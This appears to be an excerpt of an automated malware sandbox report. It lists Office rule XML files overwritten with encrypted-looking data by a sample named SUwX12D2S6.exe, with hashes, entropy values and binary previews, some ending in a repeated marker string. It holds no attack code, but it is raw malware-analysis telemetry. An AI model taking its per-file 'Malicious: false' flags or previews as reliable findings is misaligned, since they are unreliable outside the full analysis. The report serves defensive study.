Preview:	<?xml}{w..9.'L.B..+[oL......Na'..3..0.fw.....X....Rh..os...%[.pI._..m..:.!........1...o.....yKK.W..3..'V.n=x{. .....M......3.n;.R.QV.%-.8...f.mr.....nc.>.m..RB.....y..mh.c.G.o..<5....W.>o......Q..{....Nr..........#.......CI..f...VO.K...;q.9M...J....L=.c}......P.....e...7...=..}....2....$.........Q.&.t....n...,...W.V,..4=...V=Bw.c......9..Y.8."c.c..N....Xr..8!.{Gu.:..3..(.>e]...+0.f..w...:..36v.OU...yBv..n.[.i\|.^.vK..v......._.s.......QN;.k....F....v.kR....k.......&<...(.^..7...A.u...b^..T.f...b...u.2.!+..5..v..>.y...T...!...u..=J..B...,.%...^..g".....E:A....t..mj$..... ..t...N.....z.v..6............... 8./..I.......A.gq.....X...u;fj...X..\...;..1...Z..!$9Q.M..x%.P ..x.9...8...m..K......3..%3.R.6l.68.<'...\...yH..!Q.-K._.y..."@.d,..+...K+_...-itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.834231649667979
Encrypted:	false
SSDEEP:	24:CCCoK+asZvfEPY0XapdAB5KKudJ3eGlsu0LTsGPIxQkVbD:Co9tFMY0KpdtlJ32TpPIxQkFD
MD5:	8E1BEA4503FCCB35872578D80494E1CB
SHA1:	D6159F6F35D89E3ACC4666DD31513E08340A6DA3
SHA-256:	E9CECB43AB8B5989F78A7045D6B76FBD375750870EDCC1658B2DCFA269A628B1
SHA-512:	8D3404857C6AF3975D79BB47AEADC093D199381E4B13C544AE3C4E5FDA2CA71D3DDE4C48983C4D6D9E227D46FAC81F4955DD7E2850B3C46DBAC4D31B2C7D9B88
Malicious:	false
Preview:	<?xml..V..Tz....9..z.:...{M.'...6.F....c......=.`%.7..p......X..i..."......7Ik.q...UA.T.Y.MJ..4...?..t.~.....YpA......Q..:...=..`.[w..D...<.R.M..U..^...DX_......a%.u....wu.5..'.n...b{S.q.+C..=$..a....ei"$..i.V.a.p..&..'.9...J.......(.^.Y...3..v!#....0.Y.ob../..Q..p.}.fz.[...i....L...b...b..W..-X.fUv6....ik.9k.e..vU.......?...Z).-.i...o.. K.+..p.M%.\|!.D.....>...y.<K..........v..'....t..<,!XJ<}&x..`.h7..rD..x.:a6...1.(D=.,.pu...+..x.t..9.Eu..dW...<}B.....U...^f...$.;m...oj..C/G.V.....6.$n."....&7....yB...ez..>..n............g.Y..f.F"6...W.....+........-.^....#.EC.z.!<..-.. C..........Ym.....,...p.2....[ge.d..h.B.....p_...'<....Gf.H..o.7...E.7.....;..R.?.J.~H.k.=.V..T.........k.p....G...W...I..........u\|....?lY._...8Z=..$.E.;.....b.oCb&/..Dp,...../T:+lW}"..f..+.g.mj.p......,][}...j..1..T..S..Y....[...*k...@Y.8]..Q.m8.#_F}KJ..F.u.K..j{.N..B.;!L.>....N .(../...g....C...m.O:..H......T...:%U..p..T.y;..'....._...Y..V}..{....At....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.868652343950444
Encrypted:	false
SSDEEP:	24:GwvzxOuesuZgbYN/1pYBYdyGX2mRJbaOYiLlhqBUn5QewjjEdSbeMzN4eJ5JhqX0:Gw7xANz9uWphaOYELUURKEdAeMzCW5vF
MD5:	C9F02A6D95DCA36B80CE969F12A139B2
SHA1:	06F670E48191EE180EFFF5D4D4254DC1A5FA8BC3
SHA-256:	88C860E9983E0988BEE664E98AE24092A4626122719AC7CBBC986CED0B2948B0
SHA-512:	DA00760696F8467DCDF866B875283B4B9142099E08B15E68222DB8EBE33758F863EED566686364AF7EDEFF0C1B2A78CCCEA26BDE942A5A4C30907BEE5DEEA58D
Malicious:	false
Preview:	<?xml\|........4A...^. ..*.IP\|........H#.j...!..\|-..Y=..3....@....h.Z.>....2wz..^.S...Nf[`M.8.j.]L\|...3y.."C._H2.Ra.].[......p.h=...h..\|.k..E.Vy.4........n.S.....o...0&(~..M......E{..vt._..K..........~F..2..x.~I..EZ....l..w..-..X..;.Tp..5..nC.....ZS....... ..).w..>.7.. G.A72........m......9..KT.@,.._...'.=......v..y,o..]h.)j(V.6.vjC.}....t.H..T.Zf.......=.D.Pm.....\..T.....p....&..1..,.c.9@pmy..~J/..`x....u...'ey...@.r\|W....Oz..~f....~.j.4u..#..aq.'....MeO.....8.....:"D><..1.%k.>.m@....46w].^1\|^......tj.O ...WK0..r.........Y..CA.y..X.U.k..D..^\|..A@.Ji...;..2..zD...@u..Ka...Z..//]f..%$.L...jV....mQK.X.{..Ix...7%.[.`.k..y.........pB..W..x..(9......V......A...#lh...4..{.np+.......P.J......$..g.a.8K..m..<.8]m..............'1.T...%...sR1.Z/.@.21.x&w@n<,.6r....K..b.7H.......J..4..[&.....a...r$.....6~.........{....LH.'(.t..yU.>.#io..4c...R.E..sc..~..F...........C]N.5O..%g..p;..._".....(..y.^[\..3.....f...yo.=..LV..u..uu).@{...H....M..A..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.972387326222822
Encrypted:	false
SSDEEP:	192:cN72IjxanzfWjMovLAHYvD/Fht92+Ftu8:m6IjxI6/L3D/Ff922z
MD5:	A65AAA8CDBC82CF8393E19D12E708572
SHA1:	E94F9B4D2FEE1CEE46B22F7EABAFE96E49ADE727
SHA-256:	6865FF8CCD28C5E42141C05D738CF45F63B519DAA68771655AEDBDD07349163D
SHA-512:	0C93E1A1B0C45B49DD2A25D2D6EF64F9631DA2CCF438EFD43F0F673B6A42F7803DEE201502D71833C2DF471DC550C122755293E394B4CDFA340CBBF1FADE9443
Malicious:	false
Preview:	<?xmlaO. .3.$..)_..,"!.).8...i...z4..1\|....68...._.D...............c.~..........J.g.K^t.(....g..}].)W0T..)...}..=............lO....3.^I.h8)4..X.vu.......V.B....t.].X.o.@.~5..?.(j.g\.{.....@H..{f."....v...V....R.....P.>..`\"[LC....@....._l.@..uC..:X.B...v&.8g.>H`. .RZ....>..lX......8r&'.....>.........^H.Ej...q...E%...0.{NfcA..{q...B.z..b..T.....A.0..l..*.O.........Q....nO.;....D.j....:.....~t=....b....0.iS.n.G.+k.....C.O.tt.^r.m%...?........eU.....18.H.T...Lf.S%.6.....8{....g...r.e...H.F.(bI.Z...~<c..0.&..V.:w.........X>. .3..V..9'O\.%z...u..#^\.4.<....)O...>....!I....i...h..~#..]B.X%5.@...L#OB.tw....qjo].'.....c{P.._o..i..`.6.N.....'.Q...m~...~-....oU....v...z_..bT..TN....]-.-i".?....\|.C..q."....?.bZVY..N.ib.).s.0....ER/..S..... Wc.A..2/..Q..v....]...Qt.{.o.....A...G....../Sy.G.;.....Q...../..1..jh.K.D_.k)>..}.0...._.?U.,^..u...8..g...(ro...^B.\|.Rou...f..qn......9..f.....ud.t..\..nB..S)..#.}5...F...L..... ..._.C@.1..o..3..]W..>U....L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.726248203804357
Encrypted:	false
SSDEEP:	12:vtyP8pn+/5uPqGp9YW8IujYQWg9tfC2e3N3PPi1IE1MXxG0mbb2njVcii9a:vc+A5uhxruEQWgXfyPiONT6CVbD
MD5:	7638A69CE67B1DCEE72FCBBC5C04DD27
SHA1:	00DB733131540701438370E9642A37CFD1C47CD7
SHA-256:	3B8FB56329FC0B080DB8EEA7B4596C36FB772ACFE1DAED15B64F046E1C6C758C
SHA-512:	4C8E36589EF2308953158C2DDE4022A6AB34C5BF40C4BE7771CFC4FD1D229F752602F12ABBB7793F873CDB635E9A8A3241DC8FD6056E0F7C46E00497A4DB2D8D
Malicious:	false
Preview:	<?xml...@..m/{"..Z0..f.;..@.]...H4K..........~...fd.U...kG...+..l..~..9Nq.h..9.9..(..Q)~.K.O.?..4.En0..Xs{..C^..N.a,.w.\.:..,.......cL...<.?I.......>..7.?[..j..KG...(.k.Pc..."2V....-..&D.....bi.7Un.:..,^#.1..l.Y...l......v./......]'p..[..>..)T...u......+#......n.w./4....H}Q.[..7..E;.J\h.S.hC{p+V..(."LvM8...f.{.e..Y.K..7......k,.........\|md.(.2.{.E.<n.?....+D. ....d.3.......u..@3._A.,d.&.W.N.o.X*.;d..Q.Dy).u.m\|.W].........._f..._`...YYgK..`..[.f.R2+4.].S...?.x.&z..2d.k._..Nv..P....[.l.A#k...T.c.+..x.jb......m[.?.x..B...\:....q.....`[....S...m....(.<[..p.....&.!Z8...L.......I9..$J...5H.v..L.W.2.yV.\|AN..M.....$.[..V...H.....t..7{"....!..=itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.849320482070237
Encrypted:	false
SSDEEP:	24:Ab5wiyCcD31n59ZS/mh2tluRb+BoW6Nr5XCwJvZfG+5mZfmMPKEqEGGj1el64qmj:cuVr1koW6Nr5CoRe+cFinEGG566NFiF9
MD5:	56C125DEE0BC01E8EE21B86A9A7523DD
SHA1:	6BC008DC4FD62A7AFCD70231004C6F4E2D3CD7F8
SHA-256:	C0604FB990D04452C05D5C680DE39CE9CD059E466FE7D739019FC7D004CDA60E
SHA-512:	65176BC584EEEC8BBC97CDC50E2411DF15BFD425E3E9D3562DA724CA763D55B4FA63CB6B70E8639D4C2A5DB6D461CC0E52259F9F034FCE7479D3D4F937306A1F
Malicious:	false
Preview:	<?xmlV...@.V.!.C...H.6..k.HGa{\|..c.P.W..&......Z.....E%.....fB.)...z.D......X&...}}5~4r.[......,:..\|.......'........\|....<V..>...Q.....[...52.....s.V...,.,.I2.O.....Rh=..n.i...'......4..1....X.\|-0{./.Z...)..M.c.....@p..........=H.?.\|QFI."...P...>$..t0...D.t.bh^v........`.C.{...$........).H'./`.F.U%S...ha..F.d..hd.g.....9p.'....k.9L.w..OW+.....4....U...=..8...Y.....\.L.Pw.A.\|...?....<.0.$.y.O..J...q.....4.. ...2....44..\E...c..7... ..FC.........,.0\|....Y...C.J>.....Ly.;...iY......l.v.&._.a1.w..s...m.\|[...4.2]}..^o...55]....:.PJ."?....t...%.e.....Ob.k.>.x..?.Xv<e..........md&.O....0U.....rE..v?....J.Eq.Zp..jR..\raT.pqJ...W..8....!A..a.;....@...*...]g...R$...S.[..W...g....S1?'4x+8.H.'..?.CS......y..%.TP.@.M.7._..?.,;=1..mV?.`..{4.T......W....K.`b{.,~....H.........G>.3....2.....$i.O......z.x.....\.L.5.EV...>.@D...\..{I1p../..w.M.[.T..y..d....).!....K.....(Rd.1.x'..u.{.N8..v.>WhP.A.!h...J..4x..fm.4<.o.n...h1t...v..'F.K.}..j#L........=p^.<........#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.95073240294127
Encrypted:	false
SSDEEP:	48:QLbP/k8KVPtcXIoggTOXOpx7Hm31Y+/us64YNs/lwkgxd5LT+tVKzVdmTB+5Yuii:ObP/rKuXIojCXOpxrRsZd+XMqdv7tX/9
MD5:	755E378568A7DF9A7D6E22D4D646A454
SHA1:	C995DC69178A8BD3600F20338B3BB2C627F9068B
SHA-256:	6A8F05525B4DF62DC0E59C5A33C33D0C0BBCD3249EA5D3384524C65BB67790A7
SHA-512:	C7D073EEC7FC560FA9A97CA6EF2B3E0CE239CE72F85F839CBDBF930E70B955BD03553F3E07B736B0692D6B2A32160CB5B013576821053C7557B37C5D34860E1C
Malicious:	false
Preview:	<?xml.fH.o.`..a.`:.\D[..@..Y..G..2.b.~}..\|t3s.k..1.u...:.J....[...y...BWtV../9/..xvM[.yA....@..0..)#.p..-.Y..0.sfU.@>w......g...$....-..hU~..G..Px.57w...5..J.....?F+j..F.nF.~.....p...F0...P+/....%j\|..E0.f..s..s.....ck...uIB..........>"'.....b...E0.9.Q..U$.6)..O.^>k..._.b]5U*._...Na...N.iy......z..!...oJ.?.....o.u.~.{...92stmb..!.>..d..c.._y.-.&_.[XhV.F.\|..F].ez.....n[..S..F.f..._..../~.n.Ot{..g..v......$/..:..EQ./.`....1._..O.'.T7w8....(G..[."..?...2.=....)...I....m.....\..}@.......kbJ.........N.3.V.M..&.a..;..S.>....\!n....0....&...Z.n..\.R./.....P..S...76J.v..-.&.(.t.>a.V.T5._..........[_B....dZ.:M.D<y.a.{... .."v..`..'..s\.si....Ti.z.%.tL{.....P..EI..F..?.....Q...b.7.7Wa.U...)..g.d.}Z.L...1...S.S..I.E.0x...k#.q.e....K....2....>I}jR..p...D.q..\.g,........a...%.l...c..Q..t&!.......i...[G>.\|/.IKJ...A........>H.:p..@....E.........X..Z...=HM.-\..#.,..p..^..%._..lW...,..o.;$....\|d0..,..Ls..j..U....E.~\_..,..S.^...(i..z^<...3Y..1.5....U..6..+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.784954003213665
Encrypted:	false
SSDEEP:	24:eMl4+0dVgLNWfF88dCpM9gam/YtbPcSdsVbD:ePtdCWfF88dCpuw8PRsFD
MD5:	3E99E39936436253BEFEECFE1A4BCF85
SHA1:	863C2D0CDB2516BF048CAC0B182547BBE886809C
SHA-256:	7036E1D3033FF167FAC553735CB6CA522496889139AB9B786927B6D8C94632B4
SHA-512:	55DF936E4650D7C1139D6BE34B146CA159D95DFB3286E7B5C49116162FFDBE697904BA026FAA7B4E1D1EB11DE74497CB9C043762EAADB95C363C05982EFD746B
Malicious:	false
Preview:	<?xml...S.9e..kd..~.....tS.f..R.v...2......O.a.b.......F.%m..cX..;.@.\...mt...{C.@.#.kK..M.-...,;r......v.n8.+..M.d.F..K..0..~....HPQ.4.d.8&.....i..0p-......o.....I....7.YZ.C.h.V;m!...&.0E..X.5j.....M+.x..TU/?...m#.5..c4........ln...\..j4g. ?.BP..#,.F.:.._q.3@^r...Tl...[...g..T...T..k.r.X.(.P3..0.........h.D.P..<....n.....C.!.U5..d.-.gl...&..Z8FK....p.A...X...^...G.....[.e....7.......8. .>SL..U..MHh.SS@l...q.R......E-'..f..._....i....d.B..D#.....t.p,E`...._..3...)L...2.U...$}.9....@.I....=p.MZr.c...C.....`Mt.I...h...N.>Q....).?./....S...\|Mi.4.G....4.'6.b...<.O..R.a.)......s..D.,...P..a ..F....5G.K.g......X.w.....$.c...T...].E..../...bF.H..4.FZ...Y..RO.PW..\...Hb.J5....!J...c.....W.t...S<.%...b.z..c.........7.'..'.6.2H?\s....O.>.{...vO....(.Q..U......U.L...[..o.._Z.[.J2+...xm.S=....s..^W.t>...8t...[.......C..N8..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.946293226461262
Encrypted:	false
SSDEEP:	48:IwwS8/26u6xocZvu6idwRqAr9bDbuWkdo89QSRleuFV/JNoestuTiBwYFD:M/263xoc7idw1Fii8veuFZHodBl9
MD5:	7A17F7BEF5F8DED83C399726B4D1696E
SHA1:	A166F46ACF1C4060E3DD71A65B02FB2052C27B26
SHA-256:	AA13CBCED61EA7AF84FAEBFEB39A8B2C93222D9C893BE7AE3C6083D6767ED223
SHA-512:	7BA2F509F7229B745ED7D44364E1D6601BD1F852176ADE3F43C1B16E94F1C412A8CCA65E57912D7652FEC38D05FCF1EFDFC9C28D6B1EF9F9713A05F0D8728A08
Malicious:	false
Preview:	<?xmlu.....8n..#^..O.&D.......9.h......[...Sb&...{.;.^j.G....D..../...}.h...u=w.g.Z.......E...V.6...R..o.Z..........z<!&.k..}!.lM...(J.2..vP.+....=.&......7Bu...Pj.....-....Z.~4..!.R...5..cW3.B!hv.`x.H.......".W.2.?F g..6.......^M....,....K...5.A............}X.t../...`K.3.=<~#O.uz..J.6......{?.I;]0.../.'...F....>.....b. F<A.-8)Kb.<...6)....R....m...(U..6.FWq.....1.].,a..<.A.h...K5..In.fx.,[.W4...g.KW.?.g..."E%}Ec..U~.+..G.. .U.=.-+&.I.+..F.U...\|.h.Z......)..6&.E(......M?...^.mV...j..r...@r.)[1 .....Q..T3<..5.09..."....rt..n....ms..?<.c....,.A....:.(......E&....4@M..8....:Y.1fG_f.......4....,0h3p........s~...0....:....._..a....^f..5.i05.O.f.j.bX.?..N.4.M0].I.4t.U.\|>...(c......z.).I8lE.\|'..X..,...uG........s.jV.%..uS.v.......8&.jU$}.&.zI...z..6G:....$. . Y..Q;.N>..j....Cz......l...V.-X.u.C..Q.?.X.L.L..y....z.MJ.9..Z.O...0~.G<....9.A=....hU.0.Pb?h_....De....N..(k../o....)......F\|.._e#....F..i..t....H....."aZgS......:"...,.J.3.9}...V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.914513592199857
Encrypted:	false
SSDEEP:	48:pxNGjrr+rk+0FEeX3NfSyEkoBFaax0E2FWqU1UjPEAMVbV04MFD:ZGjrrRF5X9fSyEx0ERn8PaW4M9
MD5:	417715D5333EF8274568BE714DD18A67
SHA1:	704F3F3019ABC8380B8447B9B932B9E2D58F5A0C
SHA-256:	65729B947BB48012664CF739FD9DA381B6FCF07450376952B2BC6F4E4BE1D5E1
SHA-512:	B673AED9BEC31DDC5D850C7C5082490074452B8C28ED31263166641041792BDB5D7E820B2EC96F62A48BF273B1CD327B7B2BB9EFDF1F031B145C53422FD0FE39
Malicious:	false
Preview:	<?xml..b.[v...d.........g&..$w-..s,.{....=.b..kl......UP..YG...3.o....?.8..V..j.0.#..[gA(.[..(.ny.bHY.....G.:$..t...FV..xMu.......`.&......v..Y..m~.g...(.._.k..Z.sw.O.!..HN;.;...Nj..\?!_...C.{R..Up.cc..t3-.;r...C`...8.J..k.V,6].I...>R}..79.;?._.Fa(......Y.....]e.D..w.v{.......p....Gq..b.R.e".....k.....y.]......9...:.Vw..o...va[.!Z..........w,t.C.m.....Cw.`. ..z........[@G.n-~H].A%j.D..3%....\|...`aG....W3...Y..D...a....z..\....U~.\|s.........B!t.L...jY`,.H:...NW)..l...i:.d..].=\|.'rJ.......m.-.Y.6.=...v..X.......i.#Q\...."o..Y...y...y..........`.h. .uP;V.59."..8%. b..'.DNcn..lq\|.F..}..Ny.7...-.&.<rh.#...#.3...5....Cg...1...v.....q...."...?...`...avJ.J.Z." j.\A.g....I.....(...r..5. .>...g...xc....\.._..<..l....1.LR.!.Ls..........z1..=..5U.....>^Yh....q..[.....P7....~...T.....`.V.[.C......M...`).......)CA....,...&.=......]..P.6(.r......`.0.....4..`K.$d..\.Z.).1.....Q.\;W.. ?...;.5....c#..B.....<.\|..gC.c.}{.&.l...1......S.Pe#C..N......#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.944085974225321
Encrypted:	false
SSDEEP:	96:h+NXOO00n+/LaNKAHMCN1EHLqxRzucU+MkpS74k9:hAf0Pe7NQqrDyIB8
MD5:	A835D445A7CA5B4C96A5EAB35BDF6AF9
SHA1:	753C28FC565489816507FFCE26FA7695F84779C2
SHA-256:	D50F50BAC0C0101FB5D31D7441B9EEE8B04B0C997A9611A813C0F2013F096F91
SHA-512:	A95C5A4073B40FA21EBC2048AA649FE216EB0F81CBC8DCABA6C2E7577D280AD9403EFA8273A9C59B58E23A1009C9C0E0691E580E7FC9177189A663A831EBB53E
Malicious:	false
Preview:	<?xmlW.....K......A..?.Z....hJY.%..Nh...T.YR...s..m..p^...i7g2.?....0..mp.~.SN.P..H......y...-.\|YT7R......Z....%..n..A.>8;<..&G..r..#W]>.>.st..\...e.Q...m!e.w..$..i.=...#j'`2..qf.D..p......3.................j.=..w.R.......j...D..;...d;....u^..UB..U ..d.z6LoOe......uu.....x.....?.#...n.....Ezr.I.6... x..........l.........k..ipk.....7p.>..$....C..FK..$.u..V.....W../P...}...KB.=FhyB;..x.b..............v1~$f(..._..c...{o[.V.4Qg.'...6$.o~U.o.^..v<-...,...=\|0G.C...C....{..}.N.X.i.Sv.o.k.u..G...S..p..w%%V..E.....&...o..u..3.Kv.1...Us\...i...~c...k.N...6%.1.b..c.\.TB......p./p.....m./...n..c..@.g.]...GLG.G..x@Us..lq..b...c)..d...\|.....>r<(I.q.6P...}3...S^.v.........s.L..(..f....k8M5....'.3.....A...R....T9Y$[W...?....B`.+.i_.KrM..VF../...s.-^..rw.J.r....t....o.W.x?.W.......I..i.04....o.yOsU.b.G,)..XO.....oe...&...".p....k`....y_C.....;.yc.1fa....v..~p..f#yL...>e+..Y..2.U..f....T.%.!_.Hx..8.e...vS7.......w....".H...0]t..pbxd.*.b....G&. 0..a.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.960446952228784
Encrypted:	false
SSDEEP:	96:cc9PmgLjNDm5wbDV0vMOepr+65Jk3w452YEb0j59:Tz/NK+V1Ow57aEYj
MD5:	BBA81F1B14DFDC43B9DCD4EF94851A7C
SHA1:	998325A6968372776D853E3C6816C0D04891AE5B
SHA-256:	FD461F442246B63449E936F6B913BD13FDAAE01F908F3E6C5C374AB88C3025AB
SHA-512:	E2EE7F610EA0989197CE0D6226823673C40A7E04FADBCB8365AD2DE6C3C08DD893C8CBE43E2CBE30548DAB1433050DDB803668B1BE7E3A687A467E1E20A552CC
Malicious:	false
Preview:	<?xml.Jz......3?...O.u,r..0..[l.....^c.}v}IW.]yV.s..(8...B.V,V..k8..e'.#.....* ....WJ)_K...\|w....h...~.N".6..e...G...`....Q}i.6..a.....o0....7........gO.. .......q......;..,....CW....../E.X....Q.,.J'.\|....gi?g..1..:o...=..^.=1.~E....a.8.+"m.y....w...k..Lm'..P1.H]...#)sG.I...J..vF.X.9.V..d..Ya\.;.S.<....."....{I....;...13.........i.K.6sK.:.KWp..3iQV.....rx...^..OR..0...Zb.E....".J..?.\|...s....(..8..X.T....`8-..Jc...r..2.Z....D.....k7....&j......B.g.I.e.2..@..TU.\|d........t...4._..:..k:[.',].....:.t.....W....;E..Y..@&>m.6....;. r..U.f.#.`9.j..[..c.G...n..t.>.e.(.Fv.q.K....m....hW.o....@..4y..$_8..}I.Y.... ....8.5....Bb.-..}..{.YE.N..v.Zf....v...\|.8..Lz..<.L.k..z6h/.u@...F....I........K.h....6M..._....8.jj.Y..._...S....[..~....s..?....t.k...Xw...q..2......E..zO..#-.c...V.....r....pv...S9.b.d...a.....(.<...2.-.K.j..lLc7.>-nZ......K.{....K..@r.~.7q,..F.=...e.t..t...8.G....5..j...H.....K.....x.X..+ZR.,.r.5?.:.....}.QL).c-{GB]...=.*q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.973638780634925
Encrypted:	false
SSDEEP:	192:FIA+RPPxAkKyLeEr1UMWhg/HF8+PFH2ELU1kFIWDivyR3F9:FIA+nAkKdG1ghkHHfL3Fxu6ZF9
MD5:	207D64B43A0B4ACD449AFFA767116F3D
SHA1:	0A90DFD0F91026CA5A5A00DF3E5B5C81DE33EBCF
SHA-256:	C9355A4DD50D0F9D475ABCF12A4817327C7FE58FE3EED51016787569E9A14DEB
SHA-512:	CE274F70AFC534F502879BD7CEE3BEDF3D2987E6382EBF550FF65AD215229B1F9C74CB1D893D29BCC4634D3A1C3FFABF3F0BE090334E0CC95EB2CB7F208ADA12
Malicious:	false
Preview:	<?xml.{.^.r.H..Q.~..{....t.\H?#].\...,.jv....:I:Kh...[...!...\.2...^?n..O.k......<............V.Gz..P<..m..2.......B. F..ek..M..'j...G..X..Z;(.0.+;....g/...z.....$.Z=l.C..M.cz..`8.AV.......8-.Wj.o.U.....m .-..Qp....\|..c...3.T....).....g....6w..IA..q.^.....0..o....[.F+3a.v..]FP.mj..2.}..bg..}.Ct'l.Lg,...\k..(q.3%.9C<......D.o.. ...r.oB.y...+..(.Zb.L...9.....8......./....A.1E....x...VO...k\|.St'\`R....F.J...w....e.....8.....-k..Z.`..U.1.E!.n.../b...)m..<.n%.....&...;.v..w...W...'?..{:{....f.+>..V...q..[s.U....S..+.....o.e.8B8...E.........u.Je..^.........YD...R.C7...j..:.....v.8.t....5....v....p.?..f.A2....dU.w....C.?.../.m.....2.B0s.B<.de..YB.{.....).R..N....j..m....5.,.W..yt.R.y%..r....k..Y..v`>r(E.kpA......<.P...^0C...j..{.u.@a.....)...n..b..r.OL+.HW..r_}?._Q[..!.Du.....\?8.m..Ti.4!c.3Y..)x..=v......u...w.r..CP......I..._V....n0Z.k..%]#o.....yc;X...BW..9..Q...ILg......L.k*~.!z-.....%T..R\|....-C..................NPO.1...fM.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.975902236400165
Encrypted:	false
SSDEEP:	192:iZ/HcdwAhFhSfdr2oCQbZ5l83WAFYZVQUb:S/9A/zoCyp8mAqoA
MD5:	F90D84E74AAC14727FF8C05DDC5319F4
SHA1:	6A3E660658C86A285F29EA377E929ECB6A0CE9A0
SHA-256:	2D08001B56D1D72C2C4C6BD7B4A893F0F6E8BFF7BAED4F38BD6DC461D2193F00
SHA-512:	CC556AA041BA0367BCC6DBB7403DF4B37627C7873F65B75FACD132699022319D5DC4D261814A4B1F425605D64F7081E2E26E255C8E3F2629A4714C00DB799179
Malicious:	false
Preview:	<?xml.$....M..]...n.Ix...p..X.y..T~.;$.a\|\|........Cr......=....L5...AKW..\xA1O.4......(D...z.1:.{01.n.!.y..C....].,...rw..../.....2U.....#d..4A.?N.......E..5.0*....;..z....".3.........3.X.Pu...U:..(.......0....(.`.s..)....o!..L.s..{?%?....3.{.w8...,..c.>.......A.......I.0y.:e..4..J.oua.....Z.....W...DI.Sj....3..8........F...z.....e.<.q.........]...:Jq.A...s(W..r7....H.YA....k..0.2.../..%6..ZF.7..}.s'.<.?>.BO.......2B.H......`08..].....~GO'N.Q....:p..[n.....e.........:......eW.`..$.[.\|~SW;lu{4'=5.....t.s....+.H...L.2.a..._o;..(^.jSn.A..d..oX........._........X...wQ@..........\|{...b....G]Qj..F.?J.,.T.......v...hW6.....j/...........>.WH.C..8S..u18.....>J... ..#....\=.z.7...i.B..k.m.x.....G....j>.k.f..._L@.\=4..)Q....Fi...K}.T.o.M..V.U.;..'...#...#y.Ww.i.0b...ev...J.#.PG...o..<{......g.K.Y.#3+CX...fK_........8....v&....3&..s=..5..\1.n....f0..tA..Fe.........{~.[kd....p..Z@.....a.h...M&...2...2..._.6...ykzC...@...Y....p,......dl.(...o.......;2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.865826505988121
Encrypted:	false
SSDEEP:	48:uaJgwWQUtCdkiENZ7LADsSHb80pbtq+J4YxgFD:RQQhiNesSHbxtYf9
MD5:	69FC86BCC6B89740662959D5E5AEFD49
SHA1:	2248C9DFCD73C57399EAD91DB31E6B8F1687FC27
SHA-256:	33A442DB811002EC35F4C868A9B924A33909490D67A25D19FFDAFA7B8919F9C3
SHA-512:	D9BD7F974F7298899288297E5128A4EE35BB95B3DBE39118BFA4A22F2E1DC58ACEFBE55FAD79B37EB3A2939686AAF728F4BA9BC7F5E6BF516C29C0A02F2B25B3
Malicious:	false
